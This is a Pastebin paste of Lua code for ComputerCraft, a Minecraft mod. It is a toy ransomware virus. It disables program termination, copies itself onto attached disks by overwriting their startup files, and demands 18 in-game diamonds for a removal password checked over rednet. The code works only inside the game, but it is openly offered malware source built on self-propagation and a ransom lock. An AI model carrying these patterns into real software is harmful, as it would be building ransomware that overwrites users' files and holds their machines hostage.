Reinified

Untitled

May 7th, 2017
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.36 KB | None | 0 0
  1. oldPull = os.pullEvent
  2. os.pullEvent = os.pullEventRaw
  3. while true do
  4.   --Spread system/Find Drives--
  5.   D2 = fs.exists("disk2") -- Does the disk2 file exist?
  6.   D2F = fs.exists("disk2/VIR5") -- Is disk2 the infected file?
  7.   D1 = fs.exists("disk") -- Does disk exist?
  8.   D1F = fs.exists("disk/VIR5") -- Is Disk infected?
  9.   --Spread system/InfectD2--
  10.   if D2 == true then
  11.     if D2F == false then
  12.       fs.delete("disk2/startup")
  13.       fs.delete("disk2/start")
  14.       fs.delete("disk2/VIR")
  15.       fs.copy("VIR5", "disk2/VIR5")
  16.       fs.copy("startup", "disk2/start")
  17.       fs.copy("start", "disk2/startup")
  18.       end
  19.     end
  20.   if D1 == true then
  21.     if D1F == false then
  22.       fs.delete("disk/startup")
  23.       fs.delete("disk/start")
  24.       fs.delete("disk/VIR")
  25.       fs.copy("VIR5", "disk/VIR5")
  26.       fs.copy("startup", "disk/start")
  27.       fs.copy("start", "disk/startup")
  28.       end
  29.     end
  30.   os.setComputerLabel("HackedPC")
  31.   decode = math.random(0, 1000000)
  32.   decoding = fs.exists("disk/2328a") -- CHANGE THIS TO DECRYPT KEY
  33.   term.clear()
  34.   term.setCursorPos(1,1)
  35.   rednet.open("back")
  36.   id,message = rednet.receive(10)
  37.   if message == "Connected" then
  38.      rednet.send(id, "CONNECTSUS")
  39.      message = rednet.receive(10)
  40.         if message == "DECY3678" then -- CHANGE THIS TO REDNET DECRYPT
  41.             if decoding == true then
  42.                 print("One time Key:", decode)
  43.                 print(" ")
  44.                 end
  45.             end
  46.         else
  47.             if message == "DECN5849" then
  48.                 print("Decryption failed.")
  49.                 end
  50.     print("Error 28, please try again.")
  51.     end
  52.   end
  53.   rednet.close("back")
  54.   print("PC hacked!")
  55.   print("Send 18 diamonds for hack removal!")
  56.   write("Removal password: ")
  57.   if tonumber(read("*")) == decode then
  58.     print("Success! Deleting hack files, please wait.")
  59.     sleep(2)
  60.     term.clear()
  61.     term.setCursorPos(1,1)
  62.     os.setComputerLabel("Decoded PC")
  63.     fs.delete("startup")
  64.     fs.delete("start")
  65.     fs.delete("VIR")
  66.     break
  67.   else
  68.     print("Incorrect Code!")
  69.     sleep(1)
  70.   end
  71. end
  72.  
  73.  
  74. rednet.open("back")
  75. id,message = rednet.receive(10)
  76. if message == "Connected" then
  77.   rednet.send(id, "CONNECTSUS")
  78.   message = rednet.receive(10)
  79.   if message == "DECY3678" then
  80.     --ADD CODE HERE--
  81.   else
  82.     if message == "DECN5849" then
  83.       print("Decryption failed.")
  84.       end
  85.   print("Error 28, please try again.")
  86.   end
  87. end
Add Comment
Please, Sign In to add comment